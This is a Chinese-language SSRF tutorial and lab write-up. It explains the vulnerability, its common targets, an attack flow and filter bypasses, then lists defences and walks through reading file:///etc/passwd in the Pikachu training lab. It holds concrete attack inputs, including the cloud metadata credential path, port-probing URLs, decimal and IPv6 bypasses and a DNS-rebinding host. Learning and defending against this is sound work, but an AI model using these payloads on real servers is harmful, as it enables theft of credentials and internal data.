什麼是 SSRF 漏洞
SSRF(Server-Side Request Forgery,服務器端請求偽造) 是一種 Web 安全漏洞。
攻擊者可以誘導服務器去訪問攻擊者指定的地址,而不是由服務器正常訪問預期的資源。
簡單理解:
攻擊者 → 控制服務器去請求某個URL → 服務器幫攻擊者訪問內部或敏感資源
因為這個請求是服務器發出的,所以它可能訪問到:
- 內網服務
- 本機服務(127.0.0.1)
- 雲平台元數據接口
- 未暴露到公網的管理接口
SSRF 的基本原理
很多網站有這樣的功能:
- 導入圖片 URL
- 抓取網頁標題
- 下載遠程文件
- webhook 回調
- URL 預覽
例如:
POST /fetch
url=http://example.com/image.jpg
服務器代碼可能是:
requests.get(url)
如果程序沒有嚴格校驗 URL,攻擊者就可以改成:
http://127.0.0.1:8080/admin
服務器就會請求:
127.0.0.1:8080/admin
這就是 SSRF。
一個簡單示例
假設網站有一個 圖片抓取功能:
https://example.com/image?url=
正常使用:
https://example.com/image?url=https://site.com/a.jpg
服務器會下載:
https://site.com/a.jpg
攻擊者可以改成:
https://example.com/image?url=http://127.0.0.1:3306
服務器就會訪問:
127.0.0.1:3306
這樣就可以:
- 探測內網
- 訪問管理接口
- 讀取敏感信息
SSRF 常見攻擊目標
1 本機服務
http://127.0.0.1
http://localhost
可能訪問:
- Redis
- MySQL
- Docker API
- 內部管理後台
2 內網地址
例如:
http://192.168.0.1
http://10.0.0.5
http://172.16.x.x
可以掃描企業內網。
3 雲平台 metadata(最危險)
在雲服務器中:
http://169.254.169.254
例如 AWS:
http://169.254.169.254/latest/meta-data/
可能拿到:
- access key
- instance 信息
- IAM 權限
SSRF 攻擊流程
一般步驟:
1️⃣ 找到 可以控制 URL 的地方
例如:
image_url=
callback=
redirect=
file=
url=
2️⃣ 測試是否 SSRF
嘗試:
http://127.0.0.1
3️⃣ 掃描端口
http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379
4️⃣ 訪問敏感接口
例如:
http://127.0.0.1/admin
5️⃣ 雲環境攻擊
http://169.254.169.254
SSRF 常見繞過
很多網站會過濾:
127.0.0.1
localhost
攻擊者可能繞過:
IP 編碼
http://2130706433
其實是:
127.0.0.1
IPv6
http://[::1]
DNS rebinding
使用域名:
http://attacker.com
DNS 解析到:
127.0.0.1
SSRF 防禦
開發者應該:
1 白名單
只允許訪問指定域名
例如:
example.com
cdn.example.com
2 禁止內網地址
過濾:
127.0.0.1
10.x.x.x
192.168.x.x
172.16.x.x
169.254.169.254
3 DNS 解析後再次校驗
防止 DNS rebinding。
4 網絡層限制
服務器防火牆禁止訪問:
內網
metadata
本機端口
靶場(pikachu--SSRF(file_get_content))
-
點擊
反正都讀了,那就在來一首吧,可以看到瀏覽器的url如下:http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php -
讀取系統文件:
http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd
顯示如下:
-
訪問網站:
http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=https://www.baidu.com
顯示如下:
硬件及軟件説明:
I.硬件(電腦)
Apple Mac mini M4 (24G)
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Firefox
- IP:
pikachu靶場安裝
ubuntu中安裝docker靶場:hominsu/pikachu:latest
# 拉取docker鏡像
sudo docker pull hominsu/pikachu
# 為鏡像創建容器,並運行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口設為 8082
📌 不一定對,如有錯誤,歡迎指出🙂。